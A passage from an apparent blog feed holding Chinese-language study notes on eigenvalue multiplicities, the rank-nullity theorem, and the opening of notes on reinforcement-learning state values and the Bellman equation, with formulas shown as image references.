src="59c7c06c53a796cb23c6c2b0d852e4c3_7.svg"> 出发，变形为 <img src="25068582eb39573028512990b339112b_1.svg">。<br>为了使这个方程有非零向量 <code>v</code> 的解，矩阵 <img src="a5e7463e1a60a3cb751d76e0911554b0_1.svg"> 必须是“不可逆”的，也就是它的行列式必须为零：<br><img src="f8a80ab8b6e126932bc1fb22841675bd_1.svg"><br>这个方程左边是一个关于 <img src="e520c061a407db472027709bf3f73290_21.svg"> 的多项式，我们称之为<strong>特征多项式</strong>。解这个方程，就能得到所有的特征值 <img src="e520c061a407db472027709bf3f73290_21.svg">。<br><strong>代数重数，就是在解这个多项式方程时，某个解 <strong><img src="af81d3f2585529961145d5a6dc8ce4de_5.svg"></strong> 重复了多少次。</strong></li><li>例子：<br>假设一个 3x3 矩阵的特征多项式解出来是：<br><img src="b04f74fd2cbeeff991829d52362e29aa_1.svg"><br>那么它的特征值是 <img src="1ee2962df6b6444f7dfadd802d968197_1.svg"> 和 <img src="5f5f35ce03a18239f339bdc18ed79ba5_1.svg">。<ul><li>特征值 5 出现了两次，所以它的<strong>代数重数是 2</strong>。</li><li>特征值 -2 出现了一次，所以它的<strong>代数重数是 1</strong>。  </li></ul><strong>你可以把它理解成一个纯粹的、代数计算上的概念。</strong></li></ul><hr><h3 id="几何重数-Geometric-Multiplicity"><a href="#几何重数-Geometric-Multiplicity" class="headerlink" title="几何重数 (Geometric Multiplicity)"></a>几何重数 (Geometric Multiplicity)</h3><ul><li>定义：一个特征值 <img src="e520c061a407db472027709bf3f73290_21.svg"> 的<strong>几何重数</strong>，是指与它对应的<strong>线性无关的特征向量的个数</strong>。</li><li>这是什么意思？<br>我们回到特征向量的定义：<img src="59c7c06c53a796cb23c6c2b0d852e4c3_7.svg">。对于一个特定的特征值 <img src="af81d3f2585529961145d5a6dc8ce4de_5.svg">，所有满足这个方程的特征向量 <code>v</code>（再加上零向量），会构成一个空间，我们称之为**特征空间 (Eigenspace)<strong>。<br>这个特征空间的</strong>维度 (dimension)**，就是 <img src="af81d3f2585529961145d5a6dc8ce4de_5.svg"> 的几何重数。<ul><li>如果一个特征值对应的特征空间是一条<strong>直线</strong>，那么它的几何重数就是 1。（因为你只能找到一个线性无关的向量来定义这条线）</li><li>如果一个特征值对应的特征空间是一个<strong>平面</strong>，那么它的几何重数就是 2。（因为你需要两个线性无关的向量来定义这个平面）</li><li>如果是一个<strong>三维空间</strong>，几何重数就是 3。</li></ul></li><li>几何直观：<br>几何重数告诉你，对应于某个特定缩放比例（特征值 <img src="e520c061a407db472027709bf3f73290_21.svg">），<strong>有多少个“方向”（维度）上的向量只被缩放而不改变方向</strong>。<ul><li>几何重数为 1：意味着只有<strong>一个轴线</strong>方向上的向量享受“只缩放，不旋转”的待遇。</li><li>几何重数为 2：意味着有一个<strong>平面</strong>上所有的向量，都享受“只缩放，不旋转”的待遇。</li></ul></li></ul><hr><h3 id="两者的关系和区别"><a href="#两者的关系和区别" class="headerlink" title="两者的关系和区别"></a>两者的关系和区别</h3><ul><li><p>关系：对于任何一个特征值 <img src="e520c061a407db472027709bf3f73290_21.svg">，它的几何重数<strong>小于或等于</strong>其代数重数。<br><img src="58b2bc7a61f4075b01b27ca864794ad3_5.svg"></p></li><li><p>一个直观的例子来理解差异：<br>考虑一个 2x2 的**剪切变换 (Shear)**：<img src="d13c04e9d5974fb6f1322e991ae36ae3_1.svg">。<br>这个变换会把单位正方形推成一个平行四边形，x 轴上的点不动，其他点向右平移，平移的距离取决于它的高度。</p><p>在这个例子中，代数重数 (2) 大于几何重数 (1)。这告诉我们，虽然从代数计算上看，特征值 1 很“重要”（出现了两次），但从几何上看，它只定义了<strong>一个</strong>不变的方向（x 轴），而不是两个。</p><ol><li>求代数重数：<br>特征多项式是 <img src="b01329bb86804e582d287296506b7841_1.svg">。<br>唯一的解是 <img src="fe1b98f907148f36a84ff36c09803c7d_1.svg">，它出现了两次。<br>所以，特征值 1 的<strong>代数重数是 2</strong>。</li><li>求几何重数：<br>我们来找特征值 1 对应的特征向量 <code>v</code>。<br><img src="6404ad02d6480f57688f16c0039a0ee0_1.svg">。<br>这给出了方程 <img src="101a2c6a45a506b034a418f11c86711b_1.svg">，也就是 <img src="0ab123cc5c7edd79b5a578e1517ced21_1.svg">。<br>这意味着，所有满足条件的特征向量都形如 <img src="75e71836881a7dee6b975711ebc89fd5_1.svg">，其中 x 是任意非零实数。<br>所有这些向量都位于 <strong>x 轴</strong>上。这个特征空间是一条<strong>直线</strong>，它的维度是 1。<br>所以，特征值 1 的<strong>几何重数是 1</strong>。</li></ol></li><li><p>“完美”的矩阵：<br>当一个矩阵所有特征值的几何重数都等于其代数重数时，这个矩阵就拥有“足够多”的特征向量，可以张成整个空间。这类矩阵被称为<strong>可对角化 (diagonalizable)</strong> 的。对称矩阵就是这样“完美”的矩阵。</p></li><li><p>“有缺陷”的矩阵 (Defective Matrix)：<br>当至少有一个特征值的几何重数小于其代数重数时（就像上面的剪切矩阵），这个矩阵就被称为“有缺陷的”。它没有足够多的特征向量来张成整个空间。</p></li></ul><hr><h2 id="3-几何重数-≤-代数重数：证明与结构视角"><a href="#3-几何重数-≤-代数重数：证明与结构视角" class="headerlink" title="3. 几何重数 ≤ 代数重数：证明与结构视角"></a>3. 几何重数 ≤ 代数重数：证明与结构视角</h2><h3 id="一、证明："><a href="#一、证明：" class="headerlink" title="一、证明："></a>一、证明：<img src="58b2bc7a61f4075b01b27ca864794ad3_5.svg"></h3><p>这个不等式分为两部分，我们分别证明，并解释每一步的含义。</p><h4 id="1-证明"><a href="#1-证明" class="headerlink" title="1. 证明 "></a>1. 证明 <img src="7bc3401656e1c44d786aa44d3d8ede6c_1.svg"></h4><p>这部分非常直观，源于特征值的定义。</p><ul><li>回顾定义：一个数 <img src="e520c061a407db472027709bf3f73290_21.svg"> 被称为矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_25.svg"> 的特征值，<strong>前提是</strong>必须存在一个<strong>非零向量</strong> <img src="a770a282bbfa0ae1ec474b7ed311656d_7.svg">，使得 <img src="59c7c06c53a796cb23c6c2b0d852e4c3_7.svg"> 成立。</li><li>推导：<ol><li>既然 <img src="e520c061a407db472027709bf3f73290_21.svg"> 是一个特征值，那么根据定义，至少存在一个非零的特征向量 <img src="a770a282bbfa0ae1ec474b7ed311656d_7.svg">。</li><li>与 <img src="e520c061a407db472027709bf3f73290_21.svg"> 相关的特征空间 (Eigenspace)，是所有满足 <img src="59c7c06c53a796cb23c6c2b0d852e4c3_7.svg"> 的向量 <img src="a770a282bbfa0ae1ec474b7ed311656d_7.svg"> 的集合（再加上零向量）。</li><li>因为我们至少找到了一个非零向量 <img src="a770a282bbfa0ae1ec474b7ed311656d_7.svg"> 在这个空间里，所以这个空间的维度至少是一维（一条直线）。</li><li>几何重数的定义，就是这个特征空间的维度。</li></ol></li><li>结论：因此，一个特征值的几何重数至少是 1。如果连一个特征向量都找不到，那它根本就不能被称为特征值。</li></ul><h4 id="2-证明"><a href="#2-证明" class="headerlink" title="2. 证明 "></a>2. 证明 <img src="2e40ec98b34a32011730b9c97f321485_1.svg"></h4><p>这部分的证明稍微抽象一些，但核心思想是<strong>“换个角度看问题”，</strong>也就是进行一次基变换 (Change of Basis)**。</p><p>我们来一步步构建这个证明</p><ul><li>前提设定:<ul><li>假设我们有一个 <img src="aeb2d960dcdf712cb4dfdfdea8c21156_1.svg"> 的矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_25.svg">。</li><li>它有一个特征值 <img src="f5e2e3fde9e07afbcfe79d7370f8d579_7.svg">。</li><li>我们假设这个特征值 <img src="f5e2e3fde9e07afbcfe79d7370f8d579_7.svg"> 的**几何重数是 **<img src="df976ff7fcf17d60490267d18a1e3996_19.svg">。</li></ul></li><li>几何重数的含义:<ul><li>几何重数是 <img src="df976ff7fcf17d60490267d18a1e3996_19.svg"> 意味着，对应 <img src="f5e2e3fde9e07afbcfe79d7370f8d579_7.svg"> 的特征空间是 <img src="df976ff7fcf17d60490267d18a1e3996_19.svg"> 维的。</li><li>这说明我们可以找到 <img src="df976ff7fcf17d60490267d18a1e3996_19.svg"> 个线性无关的特征向量 <img src="fb269a1d4027a2fbbbaf5f2cb1769498_1.svg">。对于其中任何一个向量 <img src="0480d9f663a9cd686bae9ee284ce1bbb_3.svg">，都有 <img src="c6fa198300d07ac2afe8ce49dc12afac_1.svg">。</li></ul></li><li>“搭桥”——构建新的坐标系:<ul><li>这 <img src="df976ff7fcf17d60490267d18a1e3996_19.svg"> 个向量 <img src="4c5b749186aecca93e2d899d2ee16880_1.svg"> 只是我们 <img src="df378375e7693bdcf9535661c023c02e_13.svg"> 维空间的一部分。我们可以再找 <img src="8d77d67a3e5276f355fa305920854f2b_1.svg"> 个与它们线性无关的向量 <img src="e572fb7b3ae890e5062a7d981eb5085e_1.svg">，把它们凑在一起，形成我们 <img src="df378375e7693bdcf9535661c023c02e_13.svg"> 维空间的一组新的基（可以理解为一套新的坐标轴）。</li><li>我们用这组新的基向量作为列，构建一个可逆矩阵 <img src="ffd1905f6d4d60accedfa6b91be93ea9_1.svg">：<br><img src="0bba5c3962a470e0caed1b557cbf6100_1.svg"></li></ul></li><li>“换角度看”——进行相似变换:<ul><li>直接分析矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_25.svg"> 可能很复杂。我们换一个角度，看看在新的坐标系下，<img src="de951302f41d4707b9d80ca1af34dd0f_25.svg"> 这个变换长什么样。这个操作就是计算 <img src="feacf80653c5101b46659610087a8979_9.svg">。</li><li>一个重要的性质是：<strong>相似矩阵 <strong><img src="de951302f41d4707b9d80ca1af34dd0f_25.svg"></strong> 和 <strong><img src="feacf80653c5101b46659610087a8979_9.svg"></strong> 有完全相同的特征多项式，因此它们的特征值以及这些特征值的代数重数也都完全相同。</strong> 所以，我们分析 <img src="feacf80653c5101b46659610087a8979_9.svg"> 的代数重数，就等于在分析 <img src="de951302f41d4707b9d80ca1af34dd0f_25.svg"> 的代数重数。<ul><li>目标：证明相似矩阵的特征多项式相同，即</li></ul></li></ul></li></ul><p><img src="c727b07c7b56470f8d4beb2259cef967_1.svg"></p><pre><code>    * 推导步骤：</code></pre><p><img src="9a5640530adc3652c5dff5fd3121c6e0_1.svg"></p><ul><li>结论：两者特征多项式完全相同，因而特征值及其代数重数也完全相同。</li><li>分析新矩阵 <img src="feacf80653c5101b46659610087a8979_9.svg"> 的结构:<ul><li>我们来看 <img src="051a1f4844017ac8fdb3fdf20ea43995_3.svg"> 的前 <img src="df976ff7fcf17d60490267d18a1e3996_19.svg"> 列是什么：<br><img src="bb730ab2466f87ec8f5a924260cb3d7c_1.svg"></li><li>当我们用 <img src="f5cf1e5f26f06d03c1031cce55340006_3.svg"> 去乘 <img src="051a1f4844017ac8fdb3fdf20ea43995_3.svg"> 时，由于 <img src="f5cf1e5f26f06d03c1031cce55340006_3.svg"> 的作用是把向量从标准坐标系转换到我们的新坐标系，它会把 <img src="0480d9f663a9cd686bae9ee284ce1bbb_3.svg"> 向量变回第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_1.svg"> 个标准基向量 <img src="ea119dbdef1309492f40cc6cdc785254_1.svg">。</li><li>所以，<img src="4bbac335f74ea6ea96f70cd400e744ee_1.svg">。</li><li>这意味着，<img src="feacf80653c5101b46659610087a8979_9.svg"> 这个新矩阵的前 <img src="df976ff7fcf17d60490267d18a1e3996_19.svg"> 列一定是 <img src="c096084a7afefaf7d9345b1654af5a24_1.svg">。这个矩阵看起来是这个样子的：<br><img src="e077de380be5284e9f7f898d07c51884_1.svg"><br>这里的 <img src="c288c5f68c905eae526451f14a52e353_1.svg"> 是 <img src="bedecde3ec144fe65398740ad182203a_1.svg"> 的单位矩阵，B 和 C 是由 <img src="d99fd2df7b5f652a4b7fc593fb9df750_1.svg"> 那些向量变换后得到的一些我们不关心的矩阵块。</li></ul></li><li>最后一步——计算特征多项式:<ul><li>现在我们来计算这个新矩阵的特征多项式 <img src="882f961dd3f0750cddd56e95ff05cbd1_1.svg">：<br><img src="fd0222d2bba84ce21be8de192190fa6f_1.svg"></li><li>对于这种分块上三角矩阵，其行列式等于对角线上矩阵块的行列式的乘积：<br><img src="c9d7a1bc2fa97c8807d95ed5b5c44981_1.svg"><br><img src="dc3956e87a831cfde2d5d85cc89add8b_1.svg"></li><li>这个结果告诉我们什么？它说明，在最终的特征多项式中，因子 <img src="550cfc4c6b1b850fb6009ac970faf37d_1.svg"> <strong>至少出现了 <strong><img src="df976ff7fcf17d60490267d18a1e3996_19.svg"></strong> 次</strong>。</li><li>代数重数的定义，就是这个因子总共出现的次数。所以，<img src="f5e2e3fde9e07afbcfe79d7370f8d579_7.svg"> 的代数重数必然大于或等于 <img src="df976ff7fcf17d60490267d18a1e3996_19.svg">。</li><li>因为我们一开始就设定了 <img src="df976ff7fcf17d60490267d18a1e3996_19.svg"> 是几何重数，所以我们证明了：<strong>几何重数 <strong><img src="4fdb8de101fafd808920248b66442580_1.svg"></strong> 代数重数</strong>。</li></ul></li></ul><hr><h2 id="4-零空间、秩与秩零定理：信息丢失与维度守恒"><a href="#4-零空间、秩与秩零定理：信息丢失与维度守恒" class="headerlink" title="4. 零空间、秩与秩零定理：信息丢失与维度守恒"></a>4. 零空间、秩与秩零定理：信息丢失与维度守恒</h2><h3 id="二、什么是零空间-Null-Space-？"><a href="#二、什么是零空间-Null-Space-？" class="headerlink" title="二、什么是零空间 (Null Space)？"></a>二、什么是零空间 (Null Space)？</h3><p><strong>零空间</strong>，又称**核 (Kernel)**，是理解矩阵“信息损失”的钥匙。</p><ul><li>定义：对于一个 <img src="0d03506bd44db15467257d19f46f1fc1_3.svg"> 的矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_25.svg">，它的零空间 <img src="125f0ed32dc20f4d77d6106f0443537f_1.svg"> 是所有满足方程 <img src="67d0b17e0588e3faf40a3671b45864c0_1.svg"> 的 <img src="df378375e7693bdcf9535661c023c02e_13.svg"> 维向量 <img src="712ecf7894348e92d8779c3ee87eeeb0_1.svg"> 的集合。<br><img src="b65cdaa1c017cb6ade052c40145438fe_1.svg"></li><li>几何直观：<br>我们将矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_25.svg"> 看作一个从 <img src="df378375e7693bdcf9535661c023c02e_13.svg"> 维空间到 <img src="4760e2f007e23d820825ba241c47ce3b_3.svg"> 维空间的变换。<ul><li><strong>零空间就是输入空间（</strong><img src="df378375e7693bdcf9535661c023c02e_13.svg">** 维空间）中，所有被这个变换“压扁”到原点 <strong><img src="1b1828b5ad11afc0ca9b0ea0b732cb69_1.svg"></strong> 的向量的集合。**</li><li>它回答了这样一个问题：“哪些向量在经过 A 变换后会消失（变成零向量）？”</li></ul></li><li>例子：<ol><li>可逆矩阵 (比如旋转矩阵)：一个旋转变换只会把零向量自己留在原点。任何非零向量旋转后还是非零向量。因此，一个可逆矩阵的零空间里**只有零向量 **<img src="a6c62567e4f66ca8bd66fe86cdb1ca83_1.svg">。</li><li>投影矩阵：想象一个将三维空间 <img src="30ba8a1edcc821518ad4295f7344619c_3.svg"> 投影到 xy 平面的矩阵 <img src="1e862bdd0455dbe200bf9631196506a1_1.svg">。<ul><li>什么样的向量 <img src="30ba8a1edcc821518ad4295f7344619c_3.svg"> 会被它变换成 <img src="93c5bf2a8d767596b9b5294bf3b1f0da_1.svg">？</li><li><img src="9c2e65ba8b1ea9fb533fa14022f9bc32_1.svg">。</li><li>要满足这个条件，必须 <img src="25e542ef63bbd4f97b8db971163c2d18_1.svg"> 且 <img src="ef5e36b4796bc427276e681faa7b639c_1.svg">。<img src="02bab26178a0cd05dae15ad487830237_1.svg"> 可以是任何值。</li><li>所以，所有形如 <img src="00d1aae9419602bdca616dca256ca391_1.svg"> 的向量（也就是整个 <strong>z 轴</strong>）都会被压到原点。</li><li>因此，这个投影矩阵的零空间就是 z 轴。</li></ul></li></ol></li></ul><p>零空间的维度，被称为**零度 (Nullity)**。在上面投影的例子里，零空间是一条直线，所以零度是 1。</p><hr><h3 id="三、什么是秩零定理-Rank-Nullity-Theorem-？"><a href="#三、什么是秩零定理-Rank-Nullity-Theorem-？" class="headerlink" title="三、什么是秩零定理 (Rank-Nullity Theorem)？"></a>三、什么是秩零定理 (Rank-Nullity Theorem)？</h3><p>秩零定理是关于“维度守恒”的一个美妙定律。它完美地连接了矩阵变换的输入和输出。</p><p>首先，我们需要定义**秩 (Rank)**。</p><ul><li>秩 (Rank)：矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_25.svg"> 的<strong>列空间 (Column Space)</strong> 的维度被称为 <img src="de951302f41d4707b9d80ca1af34dd0f_25.svg"> 的秩。<ul><li>列空间是矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_25.svg"> 的所有列向量的线性组合所构成的空间。</li><li>几何直观：列空间就是<strong>变换后所有可能的输出向量所组成的空间</strong>。它回答了这样一个问题：“原来的空间经过 A 变换后，最终会形成一个什么样的空间？”</li><li>在上面那个投影到 xy 平面的例子中，无论你输入什么三维向量，输出结果一定落在 xy 平面上。所以它的列空间就是 xy 平面，维度是 2，因此<strong>秩是 2</strong>。</li></ul></li></ul><p>秩零定理 (Rank-Nullity Theorem)</p><p>对于一个 <img src="0d03506bd44db15467257d19f46f1fc1_3.svg"> 的矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_25.svg">（代表一个从 <img src="df378375e7693bdcf9535661c023c02e_13.svg"> 维空间到 <img src="4760e2f007e23d820825ba241c47ce3b_3.svg"> 维空间的变换），其<strong>秩</strong>和<strong>零度</strong>的关系满足：<br><img src="96f8a3616353d121a5eb63363690d975_1.svg"><br><img src="3c47f7cd39ae46c0ec8b1b88eaa217ad_1.svg"></p><ul><li><p>直观解释——维度的“能量守恒”：<br>一个 <img src="df378375e7693bdcf9535661c023c02e_13.svg"> 维的输入空间，在经过矩阵 A 变换后，它的维度“分配”到了两个地方：</p><p>秩零定理告诉我们，<strong>“存活”的维度</strong>加上<strong>“消失”的维度</strong>，必须等于<strong>原始的总维度</strong>。维度不会凭空产生，也不会凭空消失。</p><ol><li>一部分维度“存活”了下来，构成了输出空间（列空间）。这部分的维度就是<strong>秩</strong>。</li><li>另一部分维度“消失”了，被压缩进了原点。这部分的维度就是<strong>零度</strong>。</li></ol></li><li><p>用投影的例子验证：</p><ul><li>我们的投影矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_25.svg"> 是 <img src="b08d861763b277c3ff6c7f92bc62b06c_3.svg"> 的，所以输入空间是 3 维的 (<img src="27576ef4ca36a588ac8486a592a09e3f_1.svg">)。</li><li>我们算出了它的秩是 2 (输出是一个平面)。</li><li>我们算出了它的零度是 1 (被压缩的是一条直线)。</li><li>根据定理：<img src="2fb099a1a3268309acc08b1176c67e38_1.svg">。完美符合！</li></ul></li></ul><p>这个定理非常强大。比如，它告诉我们，一个 <img src="b08d861763b277c3ff6c7f92bc62b06c_3.svg"> 矩阵如果把一个 3D 空间压缩成一条直线（秩为 1），那么必然有一个 2D 的平面（零度为 2）被压缩到了原点。</p><hr><h2 id="5-总结速览"><a href="#5-总结速览" class="headerlink" title="5. 总结速览"></a>5. 总结速览</h2><ul><li>det(A)=0 的几何含义是“压扁/降维”，导致信息丢失和多对一映射，因此不可逆。</li><li>特征值/特征向量刻画“仅缩放不转向”的方向；代数重数是“在特征多项式中作为根的重复次数”，几何重数是“对应特征空间的维度”。</li><li>重要关系：<img src="58b2bc7a61f4075b01b27ca864794ad3_5.svg">；等号处处成立即矩阵可对角化。</li><li>零空间与秩共同揭示“变换保留的维度”和“被消灭的维度”，由秩零定理统一：<img src="ebd8c39954dea6ea769cc14c4e63b756_1.svg">。</li></ul>]]></content>
    
    
    <summary type="html">Matrix</summary>
    
    
    
    
    <category term="ML" scheme="https://cl0und.xyz/tags/ML/"/>
    
    <category term="Math" scheme="https://cl0und.xyz/tags/Math/"/>
    
  </entry>
  
  <entry>
    <title>RL学习笔记-状态价值，行动价值，贝尔曼方程</title>
    <link href="https://cl0und.xyz/2025/08/11/RL%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-%E7%8A%B6%E6%80%81%E4%BB%B7%E5%80%BC%EF%BC%8C%E8%A1%8C%E5%8A%A8%E4%BB%B7%E5%80%BC%EF%BC%8C%E8%B4%9D%E5%B0%94%E6%9B%BC%E6%96%B9%E7%A8%8B/"/>
    <id>https://cl0und.xyz/2025/08/11/RL%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-%E7%8A%B6%E6%80%81%E4%BB%B7%E5%80%BC%EF%BC%8C%E8%A1%8C%E5%8A%A8%E4%BB%B7%E5%80%BC%EF%BC%8C%E8%B4%9D%E5%B0%94%E6%9B%BC%E6%96%B9%E7%A8%8B/</id>
    <published>2025-08-11T15:26:03.000Z</published>
    <updated>2025-08-11T16:05:00.616Z</updated>
    
    <content type="html"><![CDATA[<p>学习笔记来自西湖大学的RL课程：<a href="https://github.com/MathFoundationRL/Book-Mathematical-Foundation-of-Reinforcement-Learning">https://github.com/MathFoundationRL/Book-Mathematical-Foundation-of-Reinforcement-Learning</a></p><p>为了解决随机系统中回报的不稳定性问题，<strong>状态价值</strong>的概念被引入：它定义为从某一状态出发，遵循给定策略时所能获得的<strong>期望回报</strong>（平均回报）。这种期望形式能够平滑掉随机性带来的波动，更稳定地衡量策略在该状态下的长期表现，从而成为评估策略的可靠指标。</p><hr><h2 id="随机变量的引入"><a href="#随机变量的引入" class="headerlink" title="随机变量的引入"></a>随机变量的引入</h2><p><strong><font style="color:rgba(6, 8, 31, 0.88);">随机变量</font></strong><font style="color:rgba(6, 8, 31, 0.88);">就是一个取值不确定、结果受到某种概率分布支配的变量。在强化学习中，环境状态、动作选择、奖励获得等都不是完全确定的，因此用随机变量建模并用概率和期望等方法去分析，是强化学习理论的基础。</font></p><ol><li><strong>首先</strong>，明确了多个符号所代表的都是随机变量，这是因为在强化学习的环境中，很多元素都存在不确定性。例如，智能体所处的状态、选择的动作、获得的奖励等，都可能受到随机因素的影响，并非完全确定。</li><li><strong>其次</strong>，说明了这些随机变量的取值范围：<ul><li><img src="3cd4bdcf37a9f0254c7740a587ad98b2_1.svg"> 表示下一个状态属于状态空间 <img src="55fc237afbe535f7d8434985b848a6a7_1.svg">，即下一个状态是所有可能状态中的某一个；</li><li><img src="1f64f93dbd6be5dab29e9594cff33f63_1.svg"> 意味着在当前状态 <img src="507b472be844bd1841aa85a79e2387c5_3.svg"> 下，智能体选择的动作属于该状态下可执行的动作集合 <img src="9c911facc3ccb2851ee06541dc62c964_1.svg">；</li><li><img src="650ca8dd5f263f7dd07bc31a195cdf9e_1.svg"> 表明在当前状态 <img src="507b472be844bd1841aa85a79e2387c5_3.svg"> 下执行动作 <img src="5a6f6c8d04e460853d32c4a58b737185_1.svg"> 所获得的即时奖励，属于该状态-动作对对应的奖励集合 <img src="917f69d77ee033c19f828853426f2c3d_1.svg">。</li></ul></li></ol><p>这些说明为后续讨论<strong>状态价值</strong>、<strong>贝尔曼方程</strong>等概念奠定了基础，因为正是由于这些元素的<strong>随机性</strong>，才需要引入期望等概念来进行分析和计算。</p><hr><h2 id="状态价值函数的时间无关性"><a href="#状态价值函数的时间无关性" class="headerlink" title="状态价值函数的时间无关性"></a>状态价值函数的时间无关性</h2><p>这句话阐述了状态价值函数 <img src="819c0f59212b168e09ca02ac05d2a10c_5.svg"> 的一个重要特性：**它不依赖于时间步 **<img src="cead1760d9d5723460c4b8d4028f113a_3.svg">。</p><p>具体来说，当智能体在状态空间中移动时，<img src="cead1760d9d5723460c4b8d4028f113a_3.svg"> 仅表示当前的时间步（比如第 1 步、第 5 步等），**但对于给定的策略 <strong><img src="26d01865f6e830adaa66117e307e316f_7.svg"></strong> 和状态 **<img src="79ce3c7a71877c2ff01695e38ade43ca_9.svg"><strong>，状态价值 <strong><img src="819c0f59212b168e09ca02ac05d2a10c_5.svg"></strong> 是固定的</strong>。这是因为状态价值的定义是“在策略 <img src="26d01865f6e830adaa66117e307e316f_7.svg"> 下，从状态 <img src="79ce3c7a71877c2ff01695e38ade43ca_9.svg"> 出发所能获得的期望回报”，其核心取决于策略的规则以及环境对状态转移和奖励的设定，而与智能体“何时到达该状态”无关。</p><p>例如，假设在一个迷宫中，策略 <img src="26d01865f6e830adaa66117e307e316f_7.svg"> 是“始终向右移动”，那么无论智能体是在第 3 步还是第 10 步到达“迷宫入口”这个状态 <img src="79ce3c7a71877c2ff01695e38ade43ca_9.svg">，在策略 <img src="26d01865f6e830adaa66117e307e316f_7.svg"> 下，从 <img src="79ce3c7a71877c2ff01695e38ade43ca_9.svg"> 出发的期望回报（即状态价值 <img src="819c0f59212b168e09ca02ac05d2a10c_5.svg">）都是相同的。一旦策略确定，每个状态的价值就被唯一确定，不会随时间步的变化而改变。</p><p><font style="color:rgb(0, 0, 0);background-color:rgb(249, 250, 251);"></font></p><p><font style="color:rgb(0, 0, 0);background-color:rgb(249, 250, 251);">与回报的关系</font></p><ul><li><font style="color:rgba(0, 0, 0, 0.85) !important;background-color:rgb(249, 250, 251);">确定性环境：状态价值 = 回报（因为每次结果都一样）</font></li><li><font style="color:rgba(0, 0, 0, 0.85) !important;background-color:rgb(249, 250, 251);">随机性环境：状态价值 = 所有可能回报的平均值</font></li></ul><h2 id="贝尔曼方程（Bellman-Equation）"><a href="#贝尔曼方程（Bellman-Equation）" class="headerlink" title="贝尔曼方程（Bellman Equation）"></a>贝尔曼方程（Bellman Equation）</h2><p><font style="color:rgba(6, 8, 31, 0.88);">贝尔曼方程（Bellman Equation）是强化学习和动态规划中的核心方程，用来描述在给定策略 π</font><em><font style="color:rgba(6, 8, 31, 0.88);">π</font></em><font style="color:rgba(6, 8, 31, 0.88);"> 下，某一状态的价值（价值函数）与其后续状态价值之间的递归关系。</font></p><h3 id="逐元素形式"><a href="#逐元素形式" class="headerlink" title="逐元素形式"></a>逐元素形式</h3><p>首先将回报分解：</p><p><img src="6053fe8de916d194a3734263c83870f7_1.svg"></p><p>（当前回报 = 立即奖励 + 未来回报的折扣）</p><p>两边取期望（条件是 <img src="96ddd9804cfcd43df2b182b979874029_1.svg">）：</p><p><img src="6f3b8f6c84abcaa11407863bcfda50ae_1.svg"></p><p><strong>展开期望项：</strong></p><ul><li>第一项（立即奖励期望）：</li></ul><p><img src="cee2f7d26c3aeb09f18e3e871258180f_1.svg"></p><p>  （按策略选动作，再按环境模型得奖励）</p><ul><li>第二项（未来价值期望）：</li></ul><p><img src="5774ff22ffcc046e988be95ef96dc648_1.svg"></p><p>  （按策略选动作，按环境模型转移状态，再乘以未来状态的价值）</p><p><strong>合并得到贝尔曼方程：</strong></p><p><img src="9b3bc397e32f11604bb7494fe5e9cd1d_1.svg"></p><p><strong><font style="color:rgba(6, 8, 31, 0.88);">逐元素形式</font></strong></p><p>这里，<img src="de951302f41d4707b9d80ca1af34dd0f_1.svg"> 和 <img src="dd1caa3f2e1582dab2cf9bfdb21b7556_3.svg"> 分别表示可能的动作集合和奖励集合。需要注意的是，$A$ 可能因不同状态而异，在这种情况下，应该写作 <img src="640a262a0721088901c106a7df200d6a_1.svg">。同样地，<img src="dd1caa3f2e1582dab2cf9bfdb21b7556_3.svg"> 也可能依赖于 <img src="238fa0ec154266d0167c290e6b9f5e60_3.svg">。为了简化本书的表述，我们忽略了对 <img src="79ce3c7a71877c2ff01695e38ade43ca_9.svg"> 或 <img src="238fa0ec154266d0167c290e6b9f5e60_3.svg"> 的依赖关系。但即便存在这种依赖，结论仍然成立。</p><hr><h3 id="全概率形式"><a href="#全概率形式" class="headerlink" title="全概率形式"></a>全概率形式</h3><p>In addition to the expression in (2.7), readers may also encounter other expressions of the Bellman equation in the literature. We next introduce two equivalent expressions.</p><p>First, it follows from the law of total probability that</p><p><img src="1ea31a4e4cfe120119c5f1faba78d7f5_1.svg"></p><p><img src="56242482190f12a9e7bd3423a13d0beb_1.svg"></p><p>Then, equation (2.7) can be rewritten as</p><p><img src="14f3bb373bad53ca8786fecfc8e92b12_1.svg"></p><p>This is the expression used in [3].</p><p>Second, the reward <img src="72cb3a229067770aeb6caa625a65a1a1_1.svg"> may depend solely on the next state <img src="3fbf90ceda0db6d4798b510fd9c7ae11_1.svg"> in some problems. As a result, we can write the reward as <img src="d485b2b568e4d7204b32ddbcaed07012_1.svg"> and hence <img src="15b529d51964c0ca1bcdf48c7eeb2517_1.svg">, substituting which into (2.7) gives</p><p><img src="9de81d06d2cffb7c3a6b22af15941603_1.svg"></p><p><strong>全概率形式</strong></p><h3 id="矩阵形式"><a href="#矩阵形式" class="headerlink" title="矩阵形式"></a>矩阵形式</h3><p>给出一个贝尔曼方程组的矩阵形式：</p><p><img src="b424c57d20da35baafdf54dd6b113547_1.svg"></p><p>一般形式为：</p><p><img src="1995725751e7a8ee94610521be94f4ef_1.svg"></p><h2 id="解贝尔曼方程"><a href="#解贝尔曼方程" class="headerlink" title="解贝尔曼方程"></a>解贝尔曼方程</h2><p>证明可以通过随机初始化一个vk然后通过迭代收敛</p><hr><p><strong>Define the error:</strong><br><img src="63b43f58fd554788c73c210d699b09d6_1.svg"><br>We want to show that <img src="b87d7daff0a5042313013cba75654a9a_1.svg">.</p><hr><p><strong>Step 1: Substitute expressions</strong><br>Substitute <img src="9d93770b00540a116dfcf3607fe821b8_1.svg"> and <img src="84f921e3e6f68521805eb44a8f31f4f0_1.svg"> into<br><img src="2730bdb410dc43f76640c110c6103d47_1.svg"><br>which yields<br><img src="e9c4bdef7fb4ed5ab15c4c02e5c8b3dd_1.svg"></p><hr><p><strong>Step 2: Rearrange terms</strong><br>Rearranging, we have<br><img src="3d0ae9d3866415f7cae8ba01b98e468f_1.svg"></p><hr><p><strong>Step 3: Iterative 